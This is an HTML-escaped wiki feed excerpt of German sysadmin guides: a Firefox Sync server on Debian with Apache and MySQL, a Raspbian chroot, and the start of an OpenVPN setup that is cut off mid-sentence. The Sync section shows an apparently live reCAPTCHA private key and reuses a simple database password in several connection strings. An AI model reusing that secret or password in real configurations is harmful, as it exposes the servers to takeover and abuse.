&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/home/ffsync/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;development.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;server.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cp development.ini server.ini&lt;br /&gt;
&lt;br /&gt;
In server.ini folges aendern:&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 192.168.0.2 &amp;lt;&amp;lt; Beispiel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/home/ffsync/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In etc/sync.conf folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 [captcha]&lt;br /&gt;
 use = true&lt;br /&gt;
 public_key = 6Le8OLwSAAAAAK-wkjNPBtHD4Iv50moNFANIalJL&lt;br /&gt;
 private_key = 6Le8OLwSAAAAAEKoqfc-DmoF4HNswD7RNdGwxRij&lt;br /&gt;
 use_ssl = true&lt;br /&gt;
&lt;br /&gt;
Die Keys kann man hier https://www.google.com/recaptcha/admin/create generieren.&lt;br /&gt;
&lt;br /&gt;
Im folgenden sind nur die Aenderungen aufgefuehrt:&lt;br /&gt;
 [storage]&lt;br /&gt;
 backend = syncstorage.storage.sql.SQLStorage&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [auth]&lt;br /&gt;
 backend = services.auth.sql.SQLAuth&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [nodes]&lt;br /&gt;
 # You must set this to your client-visible server URL.&lt;br /&gt;
 # fallback_node = http://example.com/path/to/sync&lt;br /&gt;
 fallback_node = http://ffsync.oppserver.net/&lt;br /&gt;
 &lt;br /&gt;
 [smtp]&lt;br /&gt;
 host = localhost&lt;br /&gt;
 port = 25&lt;br /&gt;
 sender = ffsync@oppserver.net&lt;br /&gt;
 &lt;br /&gt;
 [reset_codes]&lt;br /&gt;
 backend = services.resetcodes.rc_sql.ResetCodeSQL&lt;br /&gt;
 #sqluri = sqlite:////tmp/test.db&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache und Vhost einrichten:&lt;br /&gt;
&lt;br /&gt;
Hier wieder weiter als User root:&lt;br /&gt;
 a2enmod wsgi&lt;br /&gt;
&lt;br /&gt;
/etc/apache2/sites-available/ffsync.oppserver.net.conf Datei anlegen:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
 ServerName ffsync.oppserver.net&lt;br /&gt;
 CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
 ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
 &amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
 Order deny,allow&lt;br /&gt;
 Allow from all&lt;br /&gt;
 &amp;lt;/Directory&amp;gt;&lt;br /&gt;
 WSGIProcessGroup ffsync&lt;br /&gt;
 WSGIDaemonProcess ffsync user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
 WSGIPassAuthorization On&lt;br /&gt;
 WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
 DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
 ServerName ffsync.oppserver.net&lt;br /&gt;
 CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
 ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
 SSLEngine on&lt;br /&gt;
 SSLCertificateFile /usr/share/ssl-cert/oppserver.net.pem&lt;br /&gt;
 &amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
 Order deny,allow&lt;br /&gt;
 Allow from all&lt;br /&gt;
 &amp;lt;/Directory&amp;gt;&lt;br /&gt;
 WSGIProcessGroup ffsync&lt;br /&gt;
 WSGIDaemonProcess ffsyncs user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
 WSGIPassAuthorization On&lt;br /&gt;
 WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 a2ensite ffsync.oppserver.net.conf&lt;br /&gt;
 /etc/init.d/apache2 reload&lt;br /&gt;
&lt;br /&gt;
Ich musste bei meinem VPS die threads beim WSGIDaemonProcess von 25 auf 10 senken, damit nicht zuviel RAM Verbrauch an stand.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=121</id>
		<title>FIREFOX SYNC SERVER DEBIAN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=121"/>
		<updated>2013-05-13T15:20:54Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FIREFOX SYNC SERVER DEBIAN FAQ (Stand 15.03.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Alle Befehle sind als user root auszufuehren:&lt;br /&gt;
&lt;br /&gt;
Die noetigen Pakete installieren:&lt;br /&gt;
 aptitude install libapache2-mod-wsgi python-dev mercurial python-virtualenv php-services-json sqlite3 libmysqlclient-dev mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benutzer ffsync erstellen:&lt;br /&gt;
 adduser --system --home /home/ffsync --group ffsync&lt;br /&gt;
 passwd ffsync&lt;br /&gt;
 usermod -s /bin/bash ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Apache User zu der Gruppe ffsync hinzufuegen:&lt;br /&gt;
 adduser www-data ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mysql einrichten:&lt;br /&gt;
&lt;br /&gt;
 mysql -u root -p mysql&lt;br /&gt;
 create database ffsync;&lt;br /&gt;
 CREATE USER &#039;ffsync&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;ffsync&#039;;&lt;br /&gt;
 SET PASSWORD FOR &#039;ffsync&#039;@&#039;localhost&#039; = PASSWORD(&#039;P@ssw0rt&#039;);&lt;br /&gt;
 grant all on ffsync.* to &#039;ffsync&#039;@&#039;localhost&#039;;&lt;br /&gt;
 quit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den User wechseln:&lt;br /&gt;
 su - ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Server holen und installieren:&lt;br /&gt;
 hg clone https://hg.mozilla.org/services/server-full&lt;br /&gt;
 mkdir data tmp&lt;br /&gt;
 cd server-full&lt;br /&gt;
 make build&lt;br /&gt;
 bin/easy_install Mysql-Python&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In sync.wsgi folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/home/ffsync/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;development.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;server.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cp development.ini server.ini&lt;br /&gt;
&lt;br /&gt;
In server.ini folges aendern:&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 192.168.0.2 &amp;lt;&amp;lt; Beispiel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/home/ffsync/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In etc/sync.conf folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 [captcha]&lt;br /&gt;
 use = true&lt;br /&gt;
 public_key = 6Le8OLwSAAAAAK-wkjNPBtHD4Iv50moNFANIalJL&lt;br /&gt;
 private_key = 6Le8OLwSAAAAAEKoqfc-DmoF4HNswD7RNdGwxRij&lt;br /&gt;
 use_ssl = true&lt;br /&gt;
&lt;br /&gt;
Die Keys kann man hier https://www.google.com/recaptcha/admin/create generieren.&lt;br /&gt;
&lt;br /&gt;
Im folgenden sind nur die Aenderungen aufgefuehrt:&lt;br /&gt;
 [storage]&lt;br /&gt;
 backend = syncstorage.storage.sql.SQLStorage&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [auth]&lt;br /&gt;
 backend = services.auth.sql.SQLAuth&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [nodes]&lt;br /&gt;
 # You must set this to your client-visible server URL.&lt;br /&gt;
 # fallback_node = http://example.com/path/to/sync&lt;br /&gt;
 fallback_node = http://ffsync.oppserver.net/&lt;br /&gt;
 &lt;br /&gt;
 [smtp]&lt;br /&gt;
 host = localhost&lt;br /&gt;
 port = 25&lt;br /&gt;
 sender = ffsync@oppserver.net&lt;br /&gt;
&lt;br /&gt;
 [reset_codes]&lt;br /&gt;
 backend = services.resetcodes.rc_sql.ResetCodeSQL&lt;br /&gt;
 #sqluri = sqlite:////tmp/test.db&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache und Vhost einrichten:&lt;br /&gt;
&lt;br /&gt;
Hier wieder weiter als User root:&lt;br /&gt;
 a2enmod wsgi&lt;br /&gt;
&lt;br /&gt;
/etc/apache2/sites-available/ffsync.oppserver.net.conf Datei anlegen:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
 ServerName ffsync.oppserver.net&lt;br /&gt;
 CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
 ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
 &amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
 Order deny,allow&lt;br /&gt;
 Allow from all&lt;br /&gt;
 &amp;lt;/Directory&amp;gt;&lt;br /&gt;
 WSGIProcessGroup ffsync&lt;br /&gt;
 WSGIDaemonProcess ffsync user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
 WSGIPassAuthorization On&lt;br /&gt;
 WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
 DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
 ServerName ffsync.oppserver.net&lt;br /&gt;
 CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
 ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
 SSLEngine on&lt;br /&gt;
 SSLCertificateFile /usr/share/ssl-cert/oppserver.net.pem&lt;br /&gt;
 &amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
 Order deny,allow&lt;br /&gt;
 Allow from all&lt;br /&gt;
 &amp;lt;/Directory&amp;gt;&lt;br /&gt;
 WSGIProcessGroup ffsync&lt;br /&gt;
 WSGIDaemonProcess ffsyncs user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
 WSGIPassAuthorization On&lt;br /&gt;
 WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 a2ensite ffsync.oppserver.net.conf&lt;br /&gt;
 /etc/init.d/apache2 reload&lt;br /&gt;
&lt;br /&gt;
Ich musste bei meinem VPS die threads beim WSGIDaemonProcess von 25 auf 10 senken, damit nicht zuviel RAM Verbrauch an stand.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=RASPBIAN_CHROOT_FAQ&amp;diff=120</id>
		<title>RASPBIAN CHROOT FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=RASPBIAN_CHROOT_FAQ&amp;diff=120"/>
		<updated>2013-05-12T15:18:11Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;RASPBIAN CHROOT FAQ (Stand 25.01.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Auf einem beliebigen Debian System (ich habe dafuer Debian Squeeze amd64 genommen) erstellen wir eine chroot Umgebung fuer das Raspbian:&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install qemu-user-static debootstrap&lt;br /&gt;
&lt;br /&gt;
 sudo qemu-debootstrap --arch armhf wheezy chroot-raspbian-armhf http://archive.raspbian.org/raspbian&lt;br /&gt;
&lt;br /&gt;
 sudo mount -t proc proc chroot-raspbian-armhf/proc&lt;br /&gt;
 sudo mount -t sysfs sysfs chroot-raspbian-armhf/sys&lt;br /&gt;
 sudo mount -o bind /dev chroot-raspbian-armhf/dev&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun wechseln wir in das chroot:&lt;br /&gt;
&lt;br /&gt;
 sudo LC_ALL=C chroot chroot-raspbian-armhf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hinzufuegen eines Benutzers:&lt;br /&gt;
&lt;br /&gt;
 useradd -m -s /bin/bash USERNAME&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Repository hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 echo &amp;quot;deb http://mirrordirector.raspbian.org/raspbian/ wheezy main contrib non-free rpi&amp;quot; &amp;gt;&amp;gt; /etc/apt/sources.list&lt;br /&gt;
 echo &amp;quot;deb-src http://mirrordirector.raspbian.org/raspbian/ wheezy main contrib non-free rpi&amp;quot; &amp;gt;&amp;gt; /etc/apt/sources.list&lt;br /&gt;
 wget http://archive.raspbian.org/raspbian.public.key -O - | apt-key add -&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Die Zeitzone einrichten:&lt;br /&gt;
&lt;br /&gt;
 dpkg-reconfigure tzdata&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(Tastatur Layout installieren und dabei konfigurieren:&lt;br /&gt;
&lt;br /&gt;
 aptitude install console-data&lt;br /&gt;
&lt;br /&gt;
Hier habe ich folgendes gewaehlt:&lt;br /&gt;
 Select keymap from full list&lt;br /&gt;
 pc / qwertz / German / Standard / latin1 - no dead keys)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Locales installieren und einrichten:&lt;br /&gt;
&lt;br /&gt;
 aptitude install locales&lt;br /&gt;
 dpkg-reconfigure locales&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun haben wir ein laufendes Raspberian chroot.&lt;br /&gt;
Nach einem Reboot des Host Debian muss man immer folgende Befehle ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 sudo mount -t proc proc chroot-raspbian-armhf/proc&lt;br /&gt;
 sudo mount -t sysfs sysfs chroot-raspbian-armhf/sys&lt;br /&gt;
 sudo mount -o bind /dev chroot-raspbian-armhf/dev&lt;br /&gt;
 sudo LC_ALL=C chroot chroot-raspbian-armhf&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=115</id>
		<title>DEBIAN OPENVPN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=115"/>
		<updated>2013-05-07T14:46:29Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN OPENVPN FAQ (Stand 29.04.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als root einloggen!!!&lt;br /&gt;
Die IP Range 10.11.12.x kann natuerlich gegen jede andere Private IP Range gewechselt werden, z.B. 192.168.100.x.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bevor wir OpenVPN installieren, pruefen wir ob es das tun device gibt:&lt;br /&gt;
&lt;br /&gt;
 cat /dev/net/tun &lt;br /&gt;
&lt;br /&gt;
Falls man die Meldung &amp;quot;File descriptor in bad state&amp;quot; bekommt, ist alles in Ordnung.&lt;br /&gt;
Falls nicht, muss man seinen Server/VPS/VServer Provider bitten tun/tap zu aktivieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zunaechst installieren wir openVPN auf dem Server und auf dem Client:&lt;br /&gt;
 aptitude install openvpn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dann stellen wir sicher, dass keine ungewollten Configs herumschwirren (openVPN erstellt gerne Samples)&lt;br /&gt;
und loeschen die Dateien (nicht die Ordner) innerhalb von /etc/openvpn:&lt;br /&gt;
 rm -rf /etc/openvpn/examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Auf dem Server erstellen wir unsere Schluessel und Zertifikate. Daher kopieren wir die easy-rsa-Tools von&lt;br /&gt;
openVPN ins Config-Verzeichnis:&lt;br /&gt;
 cp -rf /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa&lt;br /&gt;
 cd /etc/openvpn/easy-rsa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun bereiten wir das easy-rsa-Tool auf das Erstellen der Zertifikate und Schluessel vor:&lt;br /&gt;
Dazu editieren wir zunaechst die vars mit userem Lieblingseditor (z.B. nano /etc/openvpn/easy-rsa/vars).&lt;br /&gt;
Dabei interessieren eigentlich nur die Werte fuer &amp;quot;KEY_SIZE&amp;quot;, wo wir 2048 nehmen, &amp;quot;CA_EXPIRE&amp;quot;, wo wir&lt;br /&gt;
fuer die Ewigkeit 7300 (20 Jahre) nehmen, &amp;quot;KEY_EXPIRE&amp;quot;, wo wir 7300 (20 Jahre) nehmen, und &amp;quot;KEY_COUNTRY&amp;quot;,&lt;br /&gt;
&amp;quot;KEY_PROVINCE&amp;quot;, &amp;quot;KEY_CITY&amp;quot;, &amp;quot;KEY_ORG&amp;quot; und &amp;quot;KEY_EMAIL&amp;quot;, was wohl selbsterklaerend ist.&lt;br /&gt;
Damit diese Werte verwendet werden, lesen wir sie in unsere Shell-Sitzung ein:&lt;br /&gt;
 . ./vars&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um zunaechst reinen Tisch zu machen, fuehren wir das Clean-Tool aus, erstellen eine neue CA und erzeugen&lt;br /&gt;
einen Diffie-Hellman-Parameter mit 2048 Bit:&lt;br /&gt;
 ./clean-all&lt;br /&gt;
 ./build-ca&lt;br /&gt;
 ./build-dh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn die Erzeugung des Diffie-Hellman-Paramters abgeschlossen ist, erzeugen wir nun noch ein Server-Zertifikat:&lt;br /&gt;
 ./build-key-server [Server-Name]&lt;br /&gt;
&lt;br /&gt;
Bei [Server-Name] koennen wir dabei einsetzen, was wir wollen. Wichtig ist dabei, dass der Name (CN) absolut&lt;br /&gt;
eindeutig bleibt. Auch sollte bedacht werden, dass wir fuer verschiedene Configs nicht mehrere&lt;br /&gt;
Zertifikat-Key-Paare benoetigen. Wir muessen also keine komplizierten Namen bestehend aus Verwendungszweck&lt;br /&gt;
und Hostnamen verwenden. Ich empfehle ein simples &amp;quot;openVPN-Server&amp;quot;. Was genau da nun drinsteht,&lt;br /&gt;
interessiert letztendlich niemanden mehr.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um nun Client-Zertifikate zu erstellen, ist ab sofort nur noch folgendes Procedere noetig,&lt;br /&gt;
uebrigens wann immer man moechte:&lt;br /&gt;
&lt;br /&gt;
 . ./vars&lt;br /&gt;
 ./build-key [Client-Name]&lt;br /&gt;
Am Ende mit 2x y bestaetigen.&lt;br /&gt;
&lt;br /&gt;
Bitte auch hier auf die Eindeutigkeit des Client-Namens achten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun legen wir noch einen Link fuer die Keys an und erstellen das client dir:&lt;br /&gt;
 ln -s /etc/openvpn/easy-rsa/keys /etc/openvpn/keys&lt;br /&gt;
 mkdir /etc/openvpn/clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Server eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;server.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Server mit mehreren Clients&lt;br /&gt;
 mode server&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Server&lt;br /&gt;
 tls-server&lt;br /&gt;
 &lt;br /&gt;
 # lokale IP&lt;br /&gt;
 local [IP des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Um die Rechte einzuschraenken&lt;br /&gt;
 user nobody&lt;br /&gt;
 group nogroup&lt;br /&gt;
 &lt;br /&gt;
 # Port (beliebig, nur mind. 4-stellig)&lt;br /&gt;
 port 5000&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Hiermit vergeben wir dem Server und den Clients IPs&lt;br /&gt;
 server 10.11.12.0 255.255.255.0&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Server-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Server-Name].key&lt;br /&gt;
 dh /etc/openvpn/keys/dh2048.pem&lt;br /&gt;
 &lt;br /&gt;
 # Wir komprimieren, um die Bandbreite zu verbessern&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 # Welcher Verschluesselungs-Algorithmus?&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 # Aufrechterhaltung der Verbindung&lt;br /&gt;
 keepalive 10 120&lt;br /&gt;
 &lt;br /&gt;
 # Client-to-Client-Traffic erlauben&lt;br /&gt;
 client-to-client&lt;br /&gt;
 &lt;br /&gt;
 # Clients mit selben Key erlauben zu verbinden&lt;br /&gt;
 duplicate-cn&lt;br /&gt;
 &lt;br /&gt;
 # Max. Anzahl an Clients erlauben&lt;br /&gt;
 max-clients 100&lt;br /&gt;
 &lt;br /&gt;
 # einige log Configs&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 status openvpn-status.log&lt;br /&gt;
 verb 3&lt;br /&gt;
 nice -10&lt;br /&gt;
 &lt;br /&gt;
 # Clients eigene Configs zuteilen (siehe unten)&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt bekommt jeder normale Benutzer eine IP-Adresse von 10.11.12.0/24. Unsere &amp;quot;speziellen&amp;quot;&lt;br /&gt;
Benutzer muessen noch mithilfe des common names vom Zertifikat spezielle Regeln bekommen, dazu&lt;br /&gt;
gibt es den Befehl client-config-dir &amp;lt;Verzeichnis&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
Je nach common name vom Zertifikat wird jetzt die Konfiguration clients/[Client-Name] aufgerufen.&lt;br /&gt;
Jetzt brauchen wir nur noch Dateien fuer die entsprechenden Benutzer erstellen:&lt;br /&gt;
&lt;br /&gt;
 clients/client1:&lt;br /&gt;
    ifconfig-push 10.11.12.6 10.11.12.5&lt;br /&gt;
 clients/client2:&lt;br /&gt;
    ifconfig-push 10.11.12.10 10.11.12.9&lt;br /&gt;
&lt;br /&gt;
ifconfig-push weisst den Clients eine virtuelle IP zu, die kann dann per routing auf die&lt;br /&gt;
entsprechenden Server gerouted werden. Die erste IP-Adresse gibt die Adresse des virtuellen&lt;br /&gt;
Clients an, die 2. des virtuellen Server endpoints. Laut openvpn.org-HOWTO muessen Sie aus /30&lt;br /&gt;
Subnets geholt werden, damit die Windows Clients/TAP-Win32 Treiber mitspielen.&lt;br /&gt;
&lt;br /&gt;
Quote von http://openvpn.net/howto.html:&lt;br /&gt;
&lt;br /&gt;
Specifically, the last octet in the IP address of each endpoint pair must be taken from this set:&lt;br /&gt;
&lt;br /&gt;
 [ 1, 2] [ 5, 6] [ 9, 10] [ 13, 14] [ 17, 18]&lt;br /&gt;
 [ 21, 22] [ 25, 26] [ 29, 30] [ 33, 34] [ 37, 38]&lt;br /&gt;
 [ 41, 42] [ 45, 46] [ 49, 50] [ 53, 54] [ 57, 58]&lt;br /&gt;
 [ 61, 62] [ 65, 66] [ 69, 70] [ 73, 74] [ 77, 78]&lt;br /&gt;
 [ 81, 82] [ 85, 86] [ 89, 90] [ 93, 94] [ 97, 98]&lt;br /&gt;
 [101,102] [105,106] [109,110] [113,114] [117,118]&lt;br /&gt;
 [121,122] [125,126] [129,130] [133,134] [137,138]&lt;br /&gt;
 [141,142] [145,146] [149,150] [153,154] [157,158]&lt;br /&gt;
 [161,162] [165,166] [169,170] [173,174] [177,178]&lt;br /&gt;
 [181,182] [185,186] [189,190] [193,194] [197,198]&lt;br /&gt;
 [201,202] [205,206] [209,210] [213,214] [217,218]&lt;br /&gt;
 [221,222] [225,226] [229,230] [233,234] [237,238]&lt;br /&gt;
 [241,242] [245,246] [249,250] [253,254] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Client eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;client.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt. Falls der Autostart nicht erwuenscht ist muss man openvpn&lt;br /&gt;
aus den runleveln mit &amp;quot;update-rc.d -f openvpn remove&amp;quot;(Debian Lenny 5.0) oder&lt;br /&gt;
